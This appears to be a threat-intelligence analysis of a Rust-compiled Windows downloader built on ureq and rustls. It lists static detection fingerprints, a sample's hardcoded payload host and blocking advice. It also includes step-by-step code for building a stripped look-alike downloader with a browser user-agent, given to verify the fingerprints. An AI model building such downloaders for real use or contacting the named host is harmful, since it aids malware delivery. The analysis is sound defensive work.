Rust ureq/rustls Downloader Build Pattern
A Rust-compiled Windows PE32+ x64 downloader that uses the ureq synchronous HTTP client library with rustls (pure-Rust TLS) for payload retrieval. The pattern is characterized by extensive Cargo registry path leakage in .rdata, a small .data section, no packing, no obfuscation, and minimal anti-analysis. The payload is fetched at runtime and validated against a hardcoded SHA-256 hash.
Detection / Fingerprint
Static indicators (all read-only, no execution required):
-
Cargo registry paths in
.rdata:ureq-2.x.x/src/rtls.rsrustls-0.23.x/src/crypto/tls13.rsring-0.17.x/src/hmac.rs/ring-0.17.x/src/aead/aes_gcm.rsflate2-1.x.x/src/gz/bufread.rsbase64-0.22.x/src/engine/general_purpose/mod.rsThese paths are never present in MinGW, Go, or .NET siblings.
-
Rustc commit hash in panic/debug strings:
/rustc/XXXXXXXXXXXXXXXX/library/std/src/...— reveals the exact compiler revision.
-
Section layout: 10 sections typical of LLD-linked Rust PEs:
.text,.data,.rdata,.pdata,.xdata,.bss,.idata,.tls,.rsrc,.reloc -
Linker version: Major=2, Minor=44 (LLD 2.44) in
OptionalHeader. -
Import surface:
WS2_32.dll+bcrypt.dll/bcryptprimitives.dll/ADVAPI32.dllfor crypto RNG, plusKERNEL32.dllandmsvcrt.dll. NoWINHTTP.dllorWININET.dll—rustlshandles TLS entirely in-process. -
Small
.data: Typically < 3 KB with entropy near 0.0 — no embedded payload.
Implementation Patterns Observed
Sample 4c25af57 (the archetype):
- Hardcoded HTTPS URL:
https://cloud.white-monster.xyz/cat.jpg - Hardcoded SHA-256 payload integrity hash
ureqhandles gzip, chunked encoding, and proxy transparentlyrustls0.23.36 supports TLS 1.3 and ECH (Encrypted Client Hello)- Fire-and-forget: no persistence, no registry, no process injection visible statically
Reproduce on Your Own VMs
Prerequisites: Rust installed via rustup, cargo accessible.
Step 1 — Create project:
cargo new rust_downloader --bin
cd rust_downloader
Step 2 — Cargo.toml:
[package]
name = "rust_downloader"
version = "0.1.0"
edition = "2021"
[dependencies]
ureq = { version = "2.12", features = ["tls"] }
ring = "0.17"
Step 3 — src/main.rs:
use std::time::Duration;
fn main() {
let agent = ureq::AgentBuilder::new()
.timeout_connect(Duration::from_secs(10))
.build();
let resp = agent
.get("https://example.com/payload.jpg")
.set("User-Agent", "Mozilla/5.0")
.call()
.unwrap();
let body = resp.into_string().unwrap();
// Optional: add SHA-256 validation with ring::digest
}
Step 4 — Build for Windows:
# Add target if not present
rustup target add x86_64-pc-windows-gnu
# Release build
cargo build --release --target x86_64-pc-windows-gnu
# Strip symbols
strip target/x86_64-pc-windows-gnu/release/rust_downloader.exe
Step 5 — Verify fingerprint:
rabin2 -I repro.exe | grep -E 'lang|signed|stripped|LinkerVersion'
strings repro.exe | grep -c 'ureq-2.12'
strings repro.exe | grep -c 'rustls-0.23'
strings repro.exe | grep -c 'ring-0.17'
Expected: lang: c, signed: false, stripped: true, LinkerVersion: 2.44, and counts > 0 for all three crate strings.
Defensive Countermeasures
- Network: Block
white-monster.xyzand subdomains at the DNS/proxy layer. - Host: Hunt for small (< 2 MB) stripped PE32+ x64 binaries with
ureq/rustls/ringstrings. - TLS inspection:
rustlsuses standard TLS 1.3 handshakes; no special certificate pinning observed in the archetype.
Pages Where Observed
- /intel/analyses/4c25af5791f7cad042fbfc6dca3ae78b7344c66f9f3a35853e76565bae0890f3.html — Archetype sample
- 9d2ca3 — Contested family entity (seventh morph)